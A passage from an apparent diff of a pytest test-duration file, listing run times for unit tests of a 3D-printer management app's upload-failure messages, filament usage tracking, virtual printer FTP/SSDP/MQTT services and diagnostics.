"unit/services/test_upload_failure_reason_2899.py::TestTheWording::test_an_unclassified_failure_points_at_the_log_rather_than_guessing": 0.0010772794485092163, + "unit/services/test_upload_failure_reason_2899.py::TestTheWording::test_every_kind_says_something_of_its_own[FtpFailureKind.AUTH-access code]": 0.001133885234594345, + "unit/services/test_upload_failure_reason_2899.py::TestTheWording::test_every_kind_says_something_of_its_own[FtpFailureKind.COOLOFF-clears on its own]": 0.0012716036289930344, + "unit/services/test_upload_failure_reason_2899.py::TestTheWording::test_every_kind_says_something_of_its_own[FtpFailureKind.HANDSHAKE-not with TLS]": 0.0011453665792942047, + "unit/services/test_upload_failure_reason_2899.py::TestTheWording::test_every_kind_says_something_of_its_own[FtpFailureKind.NETWORK-server log]": 0.001135086640715599, + "unit/services/test_upload_failure_reason_2899.py::TestTheWording::test_every_kind_says_something_of_its_own[FtpFailureKind.NOT_FOUND-Bambuddy-side]": 0.0011309701949357986, + "unit/services/test_upload_failure_reason_2899.py::TestTheWording::test_every_kind_says_something_of_its_own[FtpFailureKind.STORAGE-FAT32]": 0.0011297380551695824, + "unit/services/test_upload_failure_reason_2899.py::TestTheWording::test_every_kind_says_something_of_its_own[FtpFailureKind.TIMEOUT-did not respond in time]": 0.0011305995285511017, + "unit/services/test_upload_failure_reason_2899.py::TestTheWording::test_every_kind_says_something_of_its_own[FtpFailureKind.UNKNOWN-server log]": 0.0011344952508807182, + "unit/services/test_upload_failure_reason_2899.py::TestTheWording::test_it_does_not_prescribe_a_power_cycle": 0.001087026670575142, + "unit/services/test_upload_failure_reason_2899.py::TestTheWording::test_no_other_failure_asks_anyone_to_touch_the_card": 0.0012066923081874847, + "unit/services/test_upload_failure_reason_2899.py::TestTheWording::test_only_a_storage_reply_sends_anyone_to_the_card": 0.0011392449960112572, + "unit/services/test_upload_failure_reason_2899.py::TestTheWording::test_the_access_code_hint_names_a_screen_that_exists": 0.0010580942034721375, + "unit/services/test_upload_failure_reason_2899.py::TestTheWording::test_the_storage_message_carries_the_reply_code": 0.0010445090010762215, + "unit/services/test_upload_failure_reason_2899.py::TestWhatTheQueueEntrySays::test_a_553_still_gets_the_card_advice": 0.06359016615897417, + "unit/services/test_upload_failure_reason_2899.py::TestWhatTheQueueEntrySays::test_a_handshake_failure_does_not_send_anyone_to_the_sd_card": 0.0717091541737318, + "unit/services/test_upload_failure_reason_2899.py::TestWhatTheQueueEntrySays::test_an_unclassified_failure_points_at_the_log": 0.06435699481517076, + "unit/services/test_upload_failure_reason_2899.py::test_a_successful_upload_leaves_no_failure_behind": 0.0025905128568410873, + "unit/services/test_upload_failure_reason_2899.py::test_connect_records_which_failure_it_hit[auth]": 0.0018083499744534492, + "unit/services/test_upload_failure_reason_2899.py::test_connect_records_which_failure_it_hit[handshake]": 0.0017158649861812592, + "unit/services/test_upload_failure_reason_2899.py::test_connect_records_which_failure_it_hit[network]": 0.0019149174913764, + "unit/services/test_upload_failure_reason_2899.py::test_connect_records_which_failure_it_hit[timeout]": 0.001734049990773201, + "unit/services/test_upload_failure_reason_2899.py::test_the_cooloff_skip_is_its_own_kind": 0.0014829393476247787, + "unit/services/test_upload_failure_reason_2899.py::test_upload_classifies_the_printers_reply_code[500]": 0.0015022549778223038, + "unit/services/test_upload_failure_reason_2899.py::test_upload_classifies_the_printers_reply_code[550]": 0.0015254691243171692, + "unit/services/test_upload_failure_reason_2899.py::test_upload_classifies_the_printers_reply_code[552]": 0.001737787388265133, + "unit/services/test_upload_failure_reason_2899.py::test_upload_classifies_the_printers_reply_code[553]": 0.0015894286334514618, + "unit/services/test_usage_tracker.py::TestArchiveColorsFromSpools::test_ams_fallback_results_excluded": 0.0011102613061666489, + "unit/services/test_usage_tracker.py::TestArchiveColorsFromSpools::test_duplicate_colors_deduplicated": 0.0010963240638375282, + "unit/services/test_usage_tracker.py::TestArchiveColorsFromSpools::test_matched_spool_without_color_returns_none": 0.0010821390897035599, + "unit/services/test_usage_tracker.py::TestArchiveColorsFromSpools::test_multi_slot_all_matched_keeps_slot_order": 0.001127694733440876, + "unit/services/test_usage_tracker.py::TestArchiveColorsFromSpools::test_no_used_slots_returns_none": 0.0011081071570515633, + "unit/services/test_usage_tracker.py::TestArchiveColorsFromSpools::test_partial_match_returns_none": 0.0011071749031543732, + "unit/services/test_usage_tracker.py::TestArchiveColorsFromSpools::test_single_slot_matched": 0.0011078659445047379, + "unit/services/test_usage_tracker.py::TestArchiveColorsFromSpools::test_unused_slot_not_required": 0.0010984307155013084, + "unit/services/test_usage_tracker.py::TestArchiveFilamentColorRewrite::test_archive_color_adopts_spool_color": 0.009113571606576443, + "unit/services/test_usage_tracker.py::TestArchiveFilamentColorRewrite::test_archive_color_untouched_when_spool_has_no_color": 0.004331586882472038, + "unit/services/test_usage_tracker.py::TestOnPrintCompleteAMSDelta::test_a_delta_that_charges_nothing_says_so": 0.5057891793549061, + "unit/services/test_usage_tracker.py::TestOnPrintCompleteAMSDelta::test_an_unloaded_tray_at_start_does_not_exclude_every_slot": 0.007275257259607315, + "unit/services/test_usage_tracker.py::TestOnPrintCompleteAMSDelta::test_computes_delta_and_updates_spool": 0.004261787980794907, + "unit/services/test_usage_tracker.py::TestOnPrintCompleteAMSDelta::test_no_session_falls_through_to_3mf": 0.00346477422863245, + "unit/services/test_usage_tracker.py::TestOnPrintCompleteAMSDelta::test_skips_fallback_for_trays_outside_print_mapping": 0.004315187223255634, + "unit/services/test_usage_tracker.py::TestOnPrintCompleteAMSDelta::test_skips_negative_delta": 0.003145734779536724, + "unit/services/test_usage_tracker.py::TestOnPrintStart::test_creates_session_even_without_valid_remain": 0.0018886802718043327, + "unit/services/test_usage_tracker.py::TestOnPrintStart::test_creates_session_with_valid_remain": 0.0022212518379092216, + "unit/services/test_usage_tracker.py::TestOnPrintStart::test_skips_without_ams_data": 0.0018118666484951973, + "unit/services/test_usage_tracker.py::TestSpoolAssignmentSnapshot::test_3mf_falls_back_to_live_query_without_snapshot": 0.004419943317770958, + "unit/services/test_usage_tracker.py::TestSpoolAssignmentSnapshot::test_3mf_uses_snapshot_instead_of_live_query": 0.004198828712105751, + "unit/services/test_usage_tracker.py::TestSpoolAssignmentSnapshot::test_ams_delta_falls_back_to_live_query_without_snapshot": 0.004139117896556854, + "unit/services/test_usage_tracker.py::TestSpoolAssignmentSnapshot::test_ams_delta_uses_snapshot_over_live_query": 0.0040718913078308105, + "unit/services/test_usage_tracker.py::TestSpoolAssignmentSnapshot::test_on_print_start_empty_snapshot_without_db": 0.0020412560552358627, + "unit/services/test_usage_tracker.py::TestSpoolAssignmentSnapshot::test_on_print_start_snapshots_assignments_with_db": 0.0033915750682353973, + "unit/services/test_usage_tracker.py::TestSpoolAssignmentSnapshot::test_snapshot_survives_mid_print_unlink": 0.005231023766100407, + "unit/services/test_usage_tracker.py::TestSpoolColorToHex::test_accepts_six_char_value": 0.0010758182033896446, + "unit/services/test_usage_tracker.py::TestSpoolColorToHex::test_none_and_too_short_return_none": 0.001090744510293007, + "unit/services/test_usage_tracker.py::TestSpoolColorToHex::test_strips_alpha_and_adds_hash": 0.0011374419555068016, + "unit/services/test_usage_tracker.py::TestSpoolColorToHex::test_tolerates_leading_hash": 0.001097697764635086, + "unit/services/test_usage_tracker.py::TestSpoolColorToHex::test_uppercases": 0.0010929787531495094, + "unit/services/test_usage_tracker.py::TestTrackFrom3MF::test_scales_by_progress_for_failed_print": 0.004431586712598801, + "unit/services/test_usage_tracker.py::TestTrackFrom3MF::test_skips_already_handled_trays": 0.0036354446783661842, + "unit/services/test_usage_tracker.py::TestTrackFrom3MF::test_slot_to_tray_mapping": 0.006805785931646824, + "unit/services/test_usage_tracker.py::TestTrackFrom3MF::test_tracks_bl_spools_via_3mf": 0.004401659592986107, + "unit/services/test_usage_tracker.py::TestTrackFrom3MF::test_updates_non_bl_spool_from_3mf": 0.004370001144707203, + "unit/services/test_virtual_printer.py::TestBindServer::test_bind_ports_includes_both": 0.0011265110224485397, + "unit/services/test_virtual_printer.py::TestBindServer::test_bind_server_custom_version": 0.0011444352567195892, + "unit/services/test_virtual_printer.py::TestBindServer::test_bind_server_initializes_empty_servers_list": 0.001155385747551918, + "unit/services/test_virtual_printer.py::TestBindServer::test_bind_server_stores_config": 0.0011562956497073174, + "unit/services/test_virtual_printer.py::TestBindServer::test_build_frame": 0.001536560244858265, + "unit/services/test_virtual_printer.py::TestBindServer::test_build_frame_roundtrip": 0.0011807028204202652, + "unit/services/test_virtual_printer.py::TestBindServer::test_parse_frame_invalid_header": 0.0011614663526415825, + "unit/services/test_virtual_printer.py::TestBindServer::test_parse_frame_invalid_json": 0.0017964867874979973, + "unit/services/test_virtual_printer.py::TestBindServer::test_parse_frame_invalid_trailer": 0.0011711763218045235, + "unit/services/test_virtual_printer.py::TestBindServer::test_parse_frame_too_short": 0.0011564875021576881, + "unit/services/test_virtual_printer.py::TestBindServer::test_parse_frame_valid": 0.0011899210512638092, + "unit/services/test_virtual_printer.py::TestBindServer::test_start_server_creates_bind_server": 0.0030767573043704033, + "unit/services/test_virtual_printer.py::TestCertificateService::test_certificates_reused_if_exist": 0.044352550990879536, + "unit/services/test_virtual_printer.py::TestCertificateService::test_delete_certificates": 0.02528370823711157, + "unit/services/test_virtual_printer.py::TestCertificateService::test_ensure_creates_if_not_exist": 0.06425162684172392, + "unit/services/test_virtual_printer.py::TestCertificateService::test_generate_certificates": 0.049116337671875954, + "unit/services/test_virtual_printer.py::TestExtractSlicerAmsMappingJson::test_2589_all_unresolved_sentinel_returns_none": 0.0011362507939338684, + "unit/services/test_virtual_printer.py::TestExtractSlicerAmsMappingJson::test_empty_list_returns_none": 0.0011400477960705757, + "unit/services/test_virtual_printer.py::TestExtractSlicerAmsMappingJson::test_missing_field_returns_none": 0.0012041255831718445, + "unit/services/test_virtual_printer.py::TestExtractSlicerAmsMappingJson::test_non_int_entries_return_none": 0.0011287843808531761, + "unit/services/test_virtual_printer.py::TestExtractSlicerAmsMappingJson::test_non_list_value_returns_none": 0.0011342046782374382, + "unit/services/test_virtual_printer.py::TestExtractSlicerAmsMappingJson::test_partially_resolved_mapping_is_kept": 0.0011497363448143005, + "unit/services/test_virtual_printer.py::TestExtractSlicerAmsMappingJson::test_stringified_json_is_parsed": 0.00115940161049366, + "unit/services/test_virtual_printer.py::TestExtractSlicerAmsMappingJson::test_unparseable_string_returns_none": 0.0012153368443250656, + "unit/services/test_virtual_printer.py::TestExtractSlicerAmsMappingJson::test_valid_int_list_returns_json": 0.0011670570820569992, + "unit/services/test_virtual_printer.py::TestFTPSession::test_pass_command_authenticates": 0.002185096964240074, + "unit/services/test_virtual_printer.py::TestFTPSession::test_pass_command_rejects_wrong_code": 0.002366856671869755, + "unit/services/test_virtual_printer.py::TestFTPSession::test_pbsz_command": 0.002323775552213192, + "unit/services/test_virtual_printer.py::TestFTPSession::test_prot_command_accepts_p": 0.0022987090051174164, + "unit/services/test_virtual_printer.py::TestFTPSession::test_pwd_command_requires_auth": 0.0023162923753261566, + "unit/services/test_virtual_printer.py::TestFTPSession::test_pwd_command_when_authenticated": 0.002092530019581318, + "unit/services/test_virtual_printer.py::TestFTPSession::test_quit_command": 0.0021271565929055214, + "unit/services/test_virtual_printer.py::TestFTPSession::test_syst_command": 0.002125353552401066, + "unit/services/test_virtual_printer.py::TestFTPSession::test_type_command_sets_binary": 0.0023099305108189583, + "unit/services/test_virtual_printer.py::TestFTPSession::test_user_command_accepts_bblp": 0.004537756554782391, + "unit/services/test_virtual_printer.py::TestIpToLeIntBytes::test_converts_ip_to_le_int": 0.0011449763551354408, + "unit/services/test_virtual_printer.py::TestIpToLeIntBytes::test_roundtrip": 0.0011674165725708008, + "unit/services/test_virtual_printer.py::TestMqttIpRewrite::test_extra_replacements": 0.001170923002064228, + "unit/services/test_virtual_printer.py::TestMqttIpRewrite::test_incomplete_packet_buffered": 0.0011481819674372673, + "unit/services/test_virtual_printer.py::TestMqttIpRewrite::test_multiple_packets_in_one_chunk": 0.001148723065853119, + "unit/services/test_virtual_printer.py::TestMqttIpRewrite::test_no_rewrite_when_ip_absent": 0.0011539310216903687, + "unit/services/test_virtual_printer.py::TestMqttIpRewrite::test_non_publish_packets_unchanged": 0.0011379234492778778, + "unit/services/test_virtual_printer.py::TestMqttIpRewrite::test_rewrite_ip_in_publish": 0.0011668568477034569, + "unit/services/test_virtual_printer.py::TestMqttIpRewrite::test_rewrite_preserves_packet_framing": 0.0011559873819351196, + "unit/services/test_virtual_printer.py::TestResolveModelCodes::test_display_name_to_model_code_maps_all_models": 0.0011789994314312935, + "unit/services/test_virtual_printer.py::TestResolveModelCodes::test_resolve_printer_model_with_display_name": 0.0011568563058972359, + "unit/services/test_virtual_printer.py::TestResolveModelCodes::test_resolve_printer_model_with_none_or_unknown": 0.0011581694707274437, + "unit/services/test_virtual_printer.py::TestResolveModelCodes::test_resolve_printer_model_with_ssdp_code": 0.0011600041761994362, + "unit/services/test_virtual_printer.py::TestSSDPProxy::test_parse_ssdp_message": 0.00116695836186409, + "unit/services/test_virtual_printer.py::TestSSDPProxy::test_rewrite_ssdp_location": 0.0013750381767749786, + "unit/services/test_virtual_printer.py::TestSSDPProxy::test_rewrite_ssdp_location_case_insensitive": 0.001172967255115509, + "unit/services/test_virtual_printer.py::TestSSDPProxy::test_rewrite_ssdp_location_no_match": 0.001148853451013565, + "unit/services/test_virtual_printer.py::TestSSDPProxy::test_ssdp_proxy_stores_interface_ips": 0.001169760711491108, + "unit/services/test_virtual_printer.py::TestSSDPProxyName::test_rewrite_appends_proxy_without_name": 0.0012172739952802658, + "unit/services/test_virtual_printer.py::TestSSDPProxyName::test_rewrite_uses_configured_name": 0.001318170689046383, + "unit/services/test_virtual_printer.py::TestSSDPServer::test_advertise_ip_empty_string_uses_auto_detect": 0.0011173337697982788, + "unit/services/test_virtual_printer.py::TestSSDPServer::test_advertise_ip_in_notify_message": 0.001144295558333397, + "unit/services/test_virtual_printer.py::TestSSDPServer::test_advertise_ip_in_response_message": 0.0011515077203512192, + "unit/services/test_virtual_printer.py::TestSSDPServer::test_advertise_ip_sets_local_ip": 0.0011349869892001152, + "unit/services/test_virtual_printer.py::TestSSDPServer::test_build_notify_message": 0.0011909324675798416, + "unit/services/test_virtual_printer.py::TestSSDPServer::test_build_response_message": 0.001187395304441452, + "unit/services/test_virtual_printer.py::TestSSDPServer::test_default_no_advertise_ip": 0.001126621849834919, + "unit/services/test_virtual_printer.py::TestSSDPServer::test_ssdp_server_uses_correct_model": 0.0011462690308690071, + "unit/services/test_virtual_printer.py::TestSlicerProxyManager::test_get_status_before_start": 0.0012606410309672356, + "unit/services/test_virtual_printer.py::TestSlicerProxyManager::test_proxy_manager_initializes_ports": 0.0012955684214830399, + "unit/services/test_virtual_printer.py::TestSlicerProxyManager::test_proxy_manager_mqtt_has_ip_rewriting": 0.0012364471331238747, + "unit/services/test_virtual_printer.py::TestSlicerProxyManager::test_proxy_manager_stores_target_host": 0.0012384802103042603, + "unit/services/test_virtual_printer.py::TestSlicerProxyManager::test_proxy_start_creates_transparent_proxies": 0.0031556449830532074, + "unit/services/test_virtual_printer.py::TestVPProjectFileStashKey::test_stash_key_falls_back_to_filename_when_file_absent": 0.0016004396602511406, + "unit/services/test_virtual_printer.py::TestVPProjectFileStashKey::test_stash_key_signals_event_under_file_key": 0.0015916135162115097, + "unit/services/test_virtual_printer.py::TestVPProjectFileStashKey::test_stash_key_uses_file_field_not_subtask_name": 0.0041715968400239944, + "unit/services/test_virtual_printer.py::TestVirtualPrinterCameraPassthrough::test_chamber_image_model_a1_opens_port_6000": 0.0030829887837171555, + "unit/services/test_virtual_printer.py::TestVirtualPrinterCameraPassthrough::test_chamber_image_model_p1s_opens_port_6000": 0.0031033065170049667, + "unit/services/test_virtual_printer.py::TestVirtualPrinterCameraPassthrough::test_rtsp_model_p2s_opens_port_322": 0.003368164412677288, + "unit/services/test_virtual_printer.py::TestVirtualPrinterCameraPassthrough::test_rtsp_model_x1c_opens_port_322": 0.002975686453282833, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_add_to_print_queue_broadcasts_archive_created": 0.004026949405670166, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_add_to_print_queue_captures_nozzle_mapping": 0.003571934998035431, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_add_to_print_queue_captures_slicer_auto_from_int_companion": 0.005540124140679836, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_add_to_print_queue_catches_mqtt_stashed_post_wait_timeout": 0.056268565356731415, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_add_to_print_queue_coerces_slicer_integer_zero_one": 0.003677492029964924, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_add_to_print_queue_drops_ams_mapping_too_short_for_the_plate": 0.0034979963675141335, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_add_to_print_queue_failure_path_pops_pending_and_unlinks": 0.004088263958692551, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_add_to_print_queue_falls_back_to_schema_defaults_when_unset": 0.003572545014321804, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_add_to_print_queue_force_color_match_carries_tray_info_idx": 0.003780566155910492, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_add_to_print_queue_force_color_match_keeps_mapping_off_the_queue_item": 0.0036719422787427902, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_add_to_print_queue_force_color_match_skips_when_3mf_unparseable": 0.0036449702456593513, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_add_to_print_queue_force_color_match_writes_overrides": 0.003770926035940647, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_add_to_print_queue_gcode_injection_off_by_default": 0.0035872338339686394, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_add_to_print_queue_gcode_injection_on": 0.0035373084247112274, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_add_to_print_queue_ignores_ams_mapping_for_model_based_vp": 0.0035086050629615784, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_add_to_print_queue_ignores_ams_mapping_when_toggle_off": 0.003490593284368515, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_add_to_print_queue_ignores_unresolved_ams_mapping_sentinel": 0.003501221537590027, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_add_to_print_queue_inherits_slicer_print_options": 0.003565502353012562, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_add_to_print_queue_multi_plate_send_all_enqueues_one_per_plate": 0.0038261134177446365, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_add_to_print_queue_no_nozzle_mapping_when_slicer_omits": 0.005258325487375259, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_add_to_print_queue_nozzle_pick_replicated_across_plates": 0.0037881601601839066, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_add_to_print_queue_persists_ams_mapping_to_archive_when_toggle_on": 0.0034925751388072968, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_add_to_print_queue_populates_required_filament_types": 0.004253002814948559, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_add_to_print_queue_position_picks_max_plus_one": 0.003042583353817463, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_add_to_print_queue_uses_workflow_defaults_from_settings": 0.0034828372299671173, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_add_to_print_queue_with_auto_dispatch_off": 0.003554091788828373, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_add_to_print_queue_with_auto_dispatch_on": 0.0039220815524458885, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_archive_file_broadcasts_archive_created": 0.0029279692098498344, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_archive_file_failure_path_pops_pending_and_unlinks": 0.002549278549849987, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_archive_file_passes_prefer_filename_per_setting[-False]": 0.0027401959523558617, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_archive_file_passes_prefer_filename_per_setting[None-False]": 0.0025257840752601624, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_archive_file_passes_prefer_filename_per_setting[filename-True]": 0.0025584446266293526, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_archive_file_passes_prefer_filename_per_setting[metadata-False]": 0.0027105193585157394, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_archive_file_skips_non_3mf": 0.0019734473899006844, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_auto_dispatch_defaults_to_true": 0.0012631183490157127, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_delayed_finish_release_sets_finish_state": 0.0016822321340441704, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_get_status_not_running": 0.0012157680466771126, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_get_status_returns_correct_format": 0.0013404209166765213, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_instance_creates_directories": 0.0012647006660699844, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_instance_is_proxy_false": 0.001218021847307682, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_instance_is_proxy_true": 0.0012001702561974525, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_instance_is_running_with_active_tasks": 0.001505882479250431, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_instance_is_running_with_no_tasks": 0.0012371484190225601, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_instance_serial_property": 0.0012160884216427803, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_instance_serial_x1c": 0.0012023430317640305, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_instance_stores_parameters": 0.0012811515480279922, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_on_file_received_adds_to_pending": 0.0018003741279244423, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_on_file_received_archives_immediately": 0.0017969179898500443, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_on_file_received_non_3mf_does_not_touch_state": 0.002160259522497654, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_on_file_received_signals_FINISH_to_slicer": 0.001984800212085247, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_on_print_command_late_mqtt_force_color_match_archives_but_does_not_stamp": 0.05614082422107458, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_on_print_command_late_mqtt_ignores_ams_mapping_when_toggle_off": 0.056818174198269844, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_on_print_command_late_mqtt_retroactively_stamps_archive_ams_mapping": 0.055723452009260654, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_on_print_command_late_mqtt_retroactively_stamps_queue_item": 0.055466270074248314, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_on_print_command_late_mqtt_skips_already_dispatched_item": 0.003248099237680435, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_on_print_command_late_mqtt_skips_archive_patch_for_model_based_vp": 0.058850111439824104, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_on_print_command_no_filename_does_not_schedule": 0.0017275279387831688, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_on_print_command_no_mqtt_does_not_schedule": 0.0015322612598538399, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_on_print_command_proxy_mode_does_not_reschedule_finish": 0.0017280690371990204, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_on_print_command_schedules_finish_release_non_proxy": 0.0018457788974046707, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_queue_file_failure_path_pops_pending_and_unlinks": 0.002321752719581127, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstance::test_schedule_finish_release_cancels_previous_timer": 0.0015968037769198418, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstanceIPOverride::test_generate_certificates_includes_remote_and_bind_ip": 0.0014881603419780731, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstanceIPOverride::test_generate_certificates_no_ips": 0.001465766690671444, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstanceIPOverride::test_generate_certificates_no_remote_ip": 0.0014570197090506554, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstanceIPOverride::test_instance_stores_bind_ip": 0.0012614047154784203, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstanceIPOverride::test_instance_stores_remote_interface_ip": 0.0012622242793440819, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstanceProxyMode::test_get_status_proxy_includes_proxy_fields": 0.0014625201001763344, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstanceProxyMode::test_proxy_instance_does_not_require_access_code": 0.001267746090888977, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstanceProxyMode::test_proxy_instance_properties": 0.0013102255761623383, + "unit/services/test_virtual_printer.py::TestVirtualPrinterInstanceProxyMode::test_proxy_instance_stores_remote_interface": 0.001264689490199089, + "unit/services/test_virtual_printer.py::TestVirtualPrinterManager::test_manager_get_all_status": 0.0013487674295902252, + "unit/services/test_virtual_printer.py::TestVirtualPrinterManager::test_manager_get_status_empty": 0.0012073414400219917, + "unit/services/test_virtual_printer.py::TestVirtualPrinterManager::test_manager_get_status_with_instance": 0.0014435257762670517, + "unit/services/test_virtual_printer.py::TestVirtualPrinterManager::test_manager_is_enabled_with_instance": 0.0012719640508294106, + "unit/services/test_virtual_printer.py::TestVirtualPrinterManager::test_manager_remove_instance_proxy": 0.0017847660928964615, + "unit/services/test_virtual_printer.py::TestVirtualPrinterManager::test_manager_remove_instance_server": 0.002009674906730652, + "unit/services/test_virtual_printer.py::TestVirtualPrinterManager::test_manager_starts_empty": 0.0012222910299897194, + "unit/services/test_virtual_printer.py::TestVirtualPrinterManager::test_manager_stop_all": 0.0020684069022536278, + "unit/services/test_virtual_printer.py::TestVirtualPrinterManager::test_sync_from_db_does_not_restart_on_tailscale_toggle": 0.0023400867357850075, + "unit/services/test_virtual_printer.py::TestVirtualPrinterManager::test_sync_from_db_restarts_on_access_code_change": 0.0028628669679164886, + "unit/services/test_virtual_printer.py::TestVirtualPrinterManager::test_sync_from_db_restarts_on_bind_ip_change": 0.0028137434273958206, + "unit/services/test_virtual_printer.py::TestVirtualPrinterManager::test_sync_from_db_restarts_on_gcode_injection_toggle": 0.0028159702196717262, + "unit/services/test_virtual_printer.py::TestVirtualPrinterManager::test_sync_from_db_restarts_on_mode_change": 0.002957363612949848, + "unit/services/test_virtual_printer.py::TestVirtualPrinterManager::test_sync_from_db_restarts_on_model_change": 0.0028097378090023994, + "unit/services/test_virtual_printer.py::TestVirtualPrinterManager::test_sync_from_db_skips_unchanged_instance": 0.0023271022364497185, + "unit/services/test_virtual_printer.py::TestVirtualPrinterManagerDirectories::test_ensure_base_directories_creates_subdirs": 0.0012643467634916306, + "unit/services/test_virtual_printer.py::TestVirtualPrinterManagerDirectories::test_ensure_base_directories_handles_permission_error": 0.0014842720702290535, + "unit/services/test_virtual_printer.py::TestVirtualPrinterManagerDirectories::test_instance_creates_per_vp_directories": 0.0013086330145597458, + "unit/services/test_vp_diagnostic.py::TestCaCertificateInfo::test_ca_certificate_info_is_stable_across_calls": 0.0778616163879633, + "unit/services/test_vp_diagnostic.py::TestCaCertificateInfo::test_get_ca_certificate_info_generates_and_returns_pem": 0.02371896617114544, + "unit/services/test_vp_diagnostic.py::TestCanBindPrivilegedPorts::test_effective_set_with_the_bit_set": 0.0022449977695941925, + "unit/services/test_vp_diagnostic.py::TestCanBindPrivilegedPorts::test_effective_set_without_the_bit_set": 0.001990540884435177, + "unit/services/test_vp_diagnostic.py::TestCanBindPrivilegedPorts::test_neighbouring_bits_do_not_count": 0.002208668738603592, + "unit/services/test_vp_diagnostic.py::TestCanBindPrivilegedPorts::test_no_procfs_is_undeterminable_not_false": 0.0014141611754894257, + "unit/services/test_vp_diagnostic.py::TestCanBindPrivilegedPorts::test_root_can": 0.0014004334807395935, + "unit/services/test_vp_diagnostic.py::TestPrivilegedPortsCheck::test_dead_port_with_the_capability_held_is_not_blamed_on_it": 0.0018205838277935982, + "unit/services/test_vp_diagnostic.py::TestPrivilegedPortsCheck::test_missing_capability_explains_a_dead_port": 0.002388928085565567, + "unit/services/test_vp_diagnostic.py::TestPrivilegedPortsCheck::test_missing_capability_is_not_flagged_when_the_port_answers": 0.00180794857442379, + "unit/services/test_vp_diagnostic.py::TestPrivilegedPortsCheck::test_not_running_skips": 0.003739980049431324, + "unit/services/test_vp_diagnostic.py::TestPrivilegedPortsCheck::test_undeterminable_capability_skips": 0.0017774319276213646, + "unit/services/test_vp_diagnostic.py::TestRunVpDiagnostic::test_disabled_vp_reports_problems": 0.0014527710154652596, + "unit/services/test_vp_diagnostic.py::TestRunVpDiagnostic::test_missing_access_code_fails_non_proxy": 0.0017555002123117447, + "unit/services/test_vp_diagnostic.py::TestRunVpDiagnostic::test_port_not_listening_is_a_problem": 0.001751192845404148, + "unit/services/test_vp_diagnostic.py::TestRunVpDiagnostic::test_proxy_mode_skips_access_code_and_bind_port": 0.0017008865252137184, + "unit/services/test_vp_diagnostic.py::TestRunVpDiagnostic::test_proxy_without_target_fails": 0.0016704704612493515, + "unit/services/test_vp_diagnostic.py::TestRunVpDiagnostic::test_running_server_vp_all_pass": 0.0018044328317046165, + 